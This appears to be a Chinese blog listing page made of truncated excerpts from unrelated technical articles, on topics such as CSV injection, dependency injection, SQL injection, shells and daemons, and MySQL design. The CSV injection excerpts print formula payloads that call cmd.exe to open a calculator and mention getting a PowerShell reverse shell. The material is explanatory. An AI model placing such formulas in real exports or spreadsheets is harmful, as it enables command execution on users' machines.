转:https://yq.aliyun.com/articles/225847 原文地址:The Absurdly Underestimated Dangers of CSV Injection 原文作者:georgemauer 译文出自:掘金翻译计划 本文永久链接:github.com/xitu/gold-m… 译者:mnikn 校对者:yct21,CACppuccino 本文讲的是CSV 注入:被人低估的巨大风险 最近我在记录本地用户近期的电费时发现这个问题,有人叫我把它写出来. 在某些方面…
oxo1 前言 之前看到过 CSV 注入的文章,具体想了解的请搜索学习,这里不多作介绍.今天刚好碰到了导出功能,就随手测试一波,没想到还真的存在 CSV 注入漏洞. oxo2 经过 1.测试漏洞 看到有导出功能,就新建一个用户,随手插入 Payload 导出 CSV 文件 查看 CSV 文件,发现结果等于 2 ,说明存在漏洞. 2.利用漏洞 这里反弹 shell就在本地演示好了. 利用 powershell 来进行反弹.(梦哥教我的,梦哥牛逼) 下载:https://github.com/sam…
前言  为了找工作,巩固巩固知识.本文会介绍 csv 注入漏洞的原理,最后给出一个示例.  正文 在 csv 文件 和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识别为一个 公式, 此时可以注入 系统命令 实现 命令执行. 常用 payload : =cmd|'/c calc'!A0   # 弹计算器 =MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!'' # 弹计算器 =HYPERLINK("…
以下代码生成的csv文件,使用Microsoft Execl能成功弹出计算器,虽然打开时有安全提示,但是大多数src还是会接收该类漏洞 -------------------------------------------------------------------------------------------- package jinqi; public class User {    private String username;    private String password…
系列目录 上一篇演示了WebApi利用Unity注入 很多人问我如何用配置文件来配置注入,本节演示如何利用配置文件来注入,道理是一样的,跳转到上一节下载源码一起来动手! 1.打开源码定位到文件DependencyRegisterType.cs 红框部分是必须的,接口和实现的命名空间,程序集,类,所以我们的配置文件也需要拥有以上属性 2.在Apps.Web新建一个XML文件 并添加以下代码: <?xml version="1.0" encoding="utf-8"…
以下内容为原创,欢迎转载,转载请注明 来自天天博客:http://www.cnblogs.com/tiantianbyconan/p/5095426.html 使用Dagger 2依赖注入 - 自定义Scope 原文:http://frogermcs.github.io/dependency-injection-with-dagger-2-custom-scopes/ 这章是展示使用Dagger 2在Android端实现依赖注入的系列中的一部分.今天我会花点时间在自定义Scope(作用域)上面…
sql注入(连载二)安信华web弱点测试系统注入 好多人问我sql怎么学习,我一下也说不出来.我就在此做统一的解答: sql语句分为两种,不管怎么用还是怎么学习主要是要理解SQL语句的基本概念,框架,原理和解决问题的思路.具体要学的的数据库是一门比较系统的学问感兴趣的可以专门去研究它.所以这也又说明了Web安全是要有一定的开发基础的,一个好的web安全工程师实际上也是一个全栈工程师. 至于我自己就是自己搭建一个库,慢慢训练着玩.而且现在网上爆出的社工库那么多自己随变练练足够用了. 一.sql注入…
1.前言 面向对象设计(OOD)里有一个重要的思想就是依赖倒置原则(DIP),并由该原则牵引出依赖注入(DI).控制反转(IOC)及其容器等概念.在学习Core依赖注入.服务生命周期之前,下面让我们先了解下依赖倒置原则(DIP).依赖注入(DI).控制反转(IOC)等概念,然后再深入学习Core依赖注入服务. 2.依赖倒置原则(Dependency Inversion  Principle, DIP) 抽象不应该依赖于细节,细节应当依赖于抽象,高层模块不依赖于低层模块的实现,而低层模块依赖于高层…
这是本专栏中进程相关的系统调用的最后一篇,用2个实例演示了以往学习的内容.其一是Mini Shell,仿常用的Bash而做,但对其作了大大简化:其二是一个Daemon程序,可以使读者一窥服务器编程的端倪. 1.13 Shell 对Linux不是太陌生的读者都应该对Shell有一定的了解,就是这个程序在我们登陆后自动执行,打印出一个$符号,然后等待我们输入命令.Linux下最常用的Shell应用程序是Bash,绝大部分Linux发行版默认安装的都是它.下面我们也来亲手编写一个Shell程序,这个S…
去他的 效应(what-the-hell effect)与自我放纵 为什么写这篇文章: 对于我来说,但我感到疲惫——"无意拿起"手机,对自己说"随便看看"——但是停不下来——感觉没有"精力"去中止——好不容易放下手机后,感觉焦虑,后悔,因为浪费了时间,没有完成计划. 彼得·赫尔曼(Peter Herman)带领的研究小组做了一个实验.被试者到达实验室时,正处于研究者所说的"食物剥夺状态",就是俗话说的"饥饿状态&qu…
什么是Daemon进程   这又是一个有趣的概念,daemon在英语中是"精灵"的意思,就像我们经常在迪斯尼动画里见到的那些,有些会飞,有些不会,经常围着动画片的主人公转来转去,啰里啰唆地提一些忠告,时不时倒霉地撞在柱子上,有时候还会想出一些小小的花招,把主人公从敌人手中救出来,正因如此,daemon有时也被译作"守护神".所以,daemon进程在国内也有两种译法,有些人译作"精灵进程",有些人译作"守护进程",这两种称呼的出…
作者:Vamei,严禁任何形式转载. 1991年年中,林纳斯·托瓦兹(Linus Torvalds)在自己房间里敲着键盘.他全神贯注地盯着14寸的黑色屏幕,都没感觉到自己的小猫Randi在扒自己的裤腿. Linus Torvalds 这台电脑价格高达3500美元,对于任何一个芬兰家庭来说都是奢侈品.更何况,托瓦兹的父母没有太多闲钱来赞助儿子.托瓦兹把奖学金和零用钱加在一起,付了电脑三分之二的钱.剩下的三分之一,要在接下来的三年里分期支付.拿到电脑之后,托瓦兹连着几个月都耗在上面.不过,托瓦兹的母…
本文由腾讯云数据库发表 注:本文摘自2018年11月22日腾讯云数据库CynosDB新品发布会的演讲实录.随着互联网信息的发展,大家也对云这个词汇也不是特别陌生了,作为全球首选的云服务厂商之一的腾讯云,依托腾讯多年的业务积累和技术沉淀,我们推出了高性能.低成本.安全可靠的整体数据服务解决方案.并且随着客户数据日益增长,也做了相关的调研和分析,推出了腾讯云新一代自研数据库.我这里先卖一个关子,由我们这边的技术嘉宾给大家揭晓我们相关的数据库内容. ----------我是分割线-------- 大家…
作者:Vamei,严禁任何形式转载. 1991年年中,林纳斯·托瓦兹(Linus Torvalds)在自己房间里敲着键盘.他全神贯注地盯着14寸的黑色屏幕,都没感觉到自己的小猫Randi在扒自己的裤腿. Linus Torvalds 这台电脑价格高达3500美元,对于任何一个芬兰家庭来说都是奢侈品.更何况,托瓦兹的父母没有太多闲钱来赞助儿子.托瓦兹把奖学金和零用钱加在一起,付了电脑三分之二的钱.剩下的三分之一,要在接下来的三年里分期支付.拿到电脑之后,托瓦兹连着几个月都耗在上面.不过,托瓦兹的母…
这又是一个有趣的概念,daemon在英语中是"精灵"的意思,就像我们经常在迪斯尼动画里见到的那些,有些会飞,有些不会,经常围着动画片的主人公转来转去,啰里啰唆地提一些忠告,时不时倒霉地撞在柱子上,有时候还会想出一些小小的花招,把主人公从敌人手中救出来,正因如此,daemon有时也被译作"守护神".所以,daemon进程在国内也有两种译法,有些人译作"精灵进程",有些人译作"守护进程",这两种称呼的出现频率都很高. 与真正的da…
在响应式编程中,应该牢记以下两点: everything is a stream(一切皆流) don't break the chain(不要打断链式结构) 记住,可观测序列就像一条河,它们是流动的.你可以"过滤"一条河,你可以"转换"一条河,你可以将两条河合并成一条,然后它依旧是流动的.最后,它将成为你想要的那条河. "Be Water,my friend"  --Bruce Lee(李小龙) -------------------------…
C语言标准(不管是ANSI 还是ISO)包含2部分,一部分是语言本身的标准,另一部分是C标准函数库.C标准函数库规定了函数的原型和功能,但是并没限定这些函数要怎么实现.所谓满足标准C规定的C编译器,不仅指这个编译器满足C语言本身的标准,还指这个编译器提供了一组满足C标准库的库函数.这组库函数是由编译器厂商实现,并且满足标准C规定的功能和接口的.这些库函数,厂商并不一定要提供给用户源文件给用户编译用,可以是二进制目标文件给用户链接用(我猜这就是叫着运行库的原因之一,你看不到源码,能看到运行是的汇编…
本规范适用于mysql 5.1或以上版本使用 数据库范式 第一范式(1NF)确保每列保持原子性 第一范式(1NF):数据库表的每一列都是不可分割的原子数据项,而不能是集合,数组,记录等非原子数据项. 例如: 体重是每个学生的属性,在数据库设计的时候,不会将“体重”拆分成两个字段保存,所以建立一个“学生表”(学生ID.姓名.身高.体重): 第二范式(2NF)确保表中的每列都和主键相关 满足第二范式(2NF)必须先满足第一范式(1NF),第二范式(2NF)要求实体的属性完全依赖于主关键字.如果存在不…
SIP VoIP 測试交流群: 323827101 欢迎大家转载.为保留作者成果,转载请注明出处.http://blog.csdn.net/netluoriver,有些文件在资源中也能够下载.假设你没有积分,能够联系我索要! 3.6Adding calls to a test(为測试脚本添加呼叫) To add a call, use the add a call link of the corresponding party (see in the figure above) and get…
两个月前换了份工作,然后接手了三台server.上面乱七八糟的网站和应用大把. 当中有维护一个瀚石苑:http://www.hanshiyuan.com/.三天两头的丢失数据. 都不知道怎么找回,好在数据有备份,直接用备份还原了.还原了还是三天两头的丢失数据,想这不是办法啊.由于本人不懂JSP.所以仅仅能从外围去防护. 通过nginx的设置把网站的配置文件隐藏(JSP的配置文件竟然是xml,并且是明码,啥都能够看到.实在太恐怖了),然后把网站的数据库用户的'%'改为localhost.以为这下应…
1.选择优化的数据类型 MySQL支持很多种不同的数据类型,并且选择正确的数据类型对于获得高性能至关重要.不管选择何种类型,下面的简单原则都会有助于做出更好的选择: (1).更小通常更好 一般来说,要试着使用正确地存储和表示数据的最小类型.更小的数据类型通常更快,因为它们使用了更少的磁盘空间.内存和CPU缓存,而且需要的CPU周期也更少. 但是要确保不人低估需要保存的值,在架构中的多个地方增加数据类型的范围是一件极其费力的工作.如果不确实需要什么数据类型,就选择你认为不会超出范围的最小类型. (…
首先是我真正看懂了的第一篇文章 代码GG之家的 Dagger2图文详解 这篇文章很直接,还配有代码demo.至少我是看懂了. Dagger2 使用详解 这篇文章同样配有demo,同时文末还有很多有用的链接. 看了这两篇文章之后,建议你可以看看这篇文章的代码来梳理一下知识 使用Dagger 2进行依赖注入 很多人都经历了从入门到放弃的过程,因此产生了无数“放弃”系列: Dagger2 这次入门就不用放弃了 Dagger2从入门到放弃再到恍然大悟 目前这个系列我就只看了这两篇. 其它的一些文章: A…
一.render的使用 from requests_html import HTMLSession session =HTMLSession() response = session.get('https://www.cnblogs.com/pythonywy/') print(response.html.render()) 进行js注入 模拟人操作浏览器 二.render的参数 1.script(str) 执行的js代码 语法:response.html.render(script='js代码…
一.render的使用 from requests_html import HTMLSession session =HTMLSession() response = session.get('https://www.cnblogs.com/guapitomjoy/') print(response.html.render()) 进行js注入 模拟人操作浏览器 二.render的参数 1.script(str) 执行的js代码 语法:response.html.render(script='js…
一.Spring前言 讲Spring之前先写段代码,体会一下Java创建对象的方式,这块你理解了对后面有好处! 1.原始时代-new对象 直接new创建对象,代码如下: //User.java package com.ty.bean; public class User { private String username; private String password; /** * 省略有参无参构造,getter/setter方法 */ } //UserDao.java public inte…
功能模块.业务架构.需求分析.用户需求.系统分析.功能设计.详细设计.文档.业务.技术--很多被随口使用的名词,其实是含糊甚至错误的. 到底含糊在哪里,错误在哪里,不仅仅是新手软件开发人员糊涂,许多入行多年的老手也一样.虽然很多老手功成名就,挂着CTO.总架构师等研发线的最高头衔,但是心里对这些概念也是一团浆糊. 可能有的人会说,不会吧,这些牛人带团队做出了让公司赚钱的系统,怎么会不清楚呢,只不过表达出来和你的表达不同而已吧?我只能很诚恳地再说一遍:很多"牛人"真的不清楚.当然,搞不清…
[源码解析] 深度学习流水线并行Gpipe(1)---流水线基本实现 目录 [源码解析] 深度学习流水线并行Gpipe(1)---流水线基本实现 0x00 摘要 0x01 概述 1.1 什么是GPipe 1.2 挑战 0x02 并行机制 2.1 机制分类与权衡 2.1.1 数据并行 2.1.2 模型并行 2.1.3 流水线并行 2.2 如何使用 0x03 Pytorch 手动指定并行方式 3.1 基础知识 3.2 特点 3.3 基本用法 3.4 将模型并行化应用于现有模块 3.5 通过流水线输入…
[论文翻译] 分布式训练 Parameter sharding 之 ZeRO 目录 [论文翻译] 分布式训练 Parameter sharding 之 ZeRO 0x00 摘要 0x01 综述 1.1 挑战 1.1.1 显存效率 1.1.2 计算效率 1.2 权衡 1.2.1 数据并行 1.2.2 模型并行 1.2.3 流水线并行 1.3 通过 3D 并行实现内存和计算效率 1.4 3D 并行如何利用每种并行性 0x02 引论 2.1 原文摘要 2.2 原文引论 2.2.1 优化模型状态 2.2…
webug4.0打靶笔记-02 3. 延时注入(时间盲注) 3.1 访问靶场 3.2 寻找注入点 貌似一样的注入点: ?id=1' --+ 3.3 判断输出位置 同前两关一样的位置,时间盲注应该不是这样的=-= ?id=1' order by 3 --+ # 判定当前数据库有两个字段 ?id=1' union select 1,2 # 判断输出位置 ..... 3.4 获取flag ?id=1' union select 1,group_concat(table_name,'.',column_…
前两天看博客园新闻,有一篇文章名为<我该如何向非技术人解释SQL注入?>(http://kb.cnblogs.com/page/515151/).是一个外国人写的,伯乐在线翻译的.我当时看了一下,觉得蛮通俗易懂的,对于不懂编写程序及数据库SQL语言的人来说,理解应该没有问题. 今天早上上班坐地铁,看到糗百里的一个段子(原谅一个程序猿看跟编程技术不相关网站行为),笑过之后脑海中突然就跳出了这几个字“SQL注入”!先把那个段子Copy一份,大家先轻松一下: 一哥们是送快递的,一天送快递到人家楼下,…